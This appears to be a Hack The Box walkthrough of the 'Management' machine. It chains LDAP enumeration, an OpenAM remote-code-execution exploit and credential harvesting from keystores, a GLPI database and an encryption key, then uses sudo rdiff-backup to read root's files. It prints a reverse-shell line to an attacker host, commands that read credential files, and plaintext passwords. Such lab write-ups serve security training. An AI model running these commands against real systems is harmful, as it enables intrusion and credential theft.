
HTB: Management
An anonymous LDAP bind and an OpenAM foothold kick this one off, then it's a long grind through OpenAM keystore secrets, a GLPI database, and an encryption key we abuse to finally recover owen's password. From there a NOPASSWD rdiff-backup lets us restore root's files and read the flag.
Kicking things off with an nmap scan, we've got a few domains to add to our hosts file: a Java RMI app on 1689/45097 and LDAP on 50389 with anonymous bind allowed.

Let's first hit that LDAP with ldapsearch.
ldapsearch -x -h 10.129.112.154 -p 50389 -s base -b "" namingContexts

Noted. Heading over to the domain, it's some kind of management system with a client login portal.

Let's try to ID the system.
curl -sk 'https://sso.management.htb/openam/oauth2/..;/ccversion/Version'

The version year is 2024, and there's a 2026 CVE that could possibly work on this. Let's try it out, CVE-2026-33439.

This might work. Let's get a base64-encoded reverse shell set up.
echo 'bash -i >& /dev/tcp/10.10.14.x/9001 0>&1' | base64 -w0
python3 exploit.py --timeout 5 --url https://sso.management.htb/openam/ui/PWResetUserValidation 'echo <base64 from the command above> | base64 -d | bash'

We get access as the openam user! Great, we've got a foothold. Let's upgrade our shell and run some basic linux enumeration: check /etc/passwd, look for writable files and permission issues.
python3 -c 'import pty;pty.spawn("/bin/bash")'

We have a few things to work with here, including writable access under /dev and a few things going on in there. Let's run linPEAS and see what we can find.

We have the directory to the OpenAM app, so let's go looking for config files.
find /opt/openam -maxdepth 3 -type d 2>/dev/null

That config/xml is looking juicy, along with those log files and a database.
cat /opt/openam/config/openam/.storepass
cat /opt/openam/config/openam/.keypass

We get a password. This is the keystore password, so let's note it down and move on. We're looking for owen's password, so let's head over to that db and snoop around a bit.

We find a few encrypted passwords, but we need a key to decrypt them. Let's keep looking around.
strings -n 6 /opt/openam/config/opends/db/userRoot/.jdb | grep -o 'am.encryption.pwd=[^ <&"]*' | sort -u | head

There it is. Let's note this down and crack those encrypted passwords. We base64-decode them, throw them into a file for hashcat, and BAM, one of them cracks.

What a soft password. Let's spray that across the system and try to log in as owen over SSH.

It doesn't work, but we have this password now, so let's try that ldapsearch again. After trying a few things with no luck, we take a step back and look at the decoded passwords from the blob, and find one that actually works for the ldapsearch.

Running that, we get a userPassword we can attempt to crack.
ldapsearch -x -h 10.129.112.154 -p 50389 -D "cn=Directory Manager" -w 'rCi5i6A7zqAf' -b "dc=management,dc=htb" "(|(objectclass=person)(objectclass=inetorgperson)(objectclass=inetuser))" '*' + | tee /tmp/people.ldif
grep -iE 'dn:|cn:|uid:|userpassword|owen|castellan|account|description' /tmp/people.ldif

We get demo, and we already have their password "changeit". We need to enumerate some more, we're getting stuck here.

There's another app running on here we have yet to enumerate. Let's give it a go.
find /opt/glpi /var/www/management -name 'config_db.php' 2>/dev/null -exec cat {} \;

We get a DB user and password, great. Let's log into MySQL and enumerate the database.
mysql -u glpi -p'8rhu0L6Pw4Y7' glpidb -e 'select id,name,password,is_active from glpi_users;'

It's a hit, we've got more hashes to crack. After going through all of these and spraying across every hole I can find, we achieve absolutely nothing lmao. Back to the linPEAS results, we must have missed something. There's a config file in the /opt/glpi/ directory carrying a .key we can decrypt using the vendor autoload, also found in the glpi vendor directory.
ls -la /opt/glpi/config/*.key
php -r 'require "/opt/glpi/vendor/autoload.php"; $k=new GLPIKey(); var_dump($k->decrypt("avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw=="));' 2>&1 | tail -40

After a lot of trial and error, we finally get it decrypted and recover owen's password.
su - owen
We get access to owen and grab that user.txt flag.

Checking sudo, owen can run rdiff-backup as root with NOPASSWD. We can abuse that to pull root's files and read the root flag.

rdiff-backup -v5 \
--remote-schema 'sudo /usr/bin/rdiff-backup --server --restrict-path /opt/backup --restrict-mode read-only {h}' \
-- '--restrict-path=/::/root' /tmp/rootloot

This box was pretty hard, no idea why it says easy. It took me on a wild ride all around town looking for ins and outs through the entire thing. Fun, but I would not recommend it to a beginner.
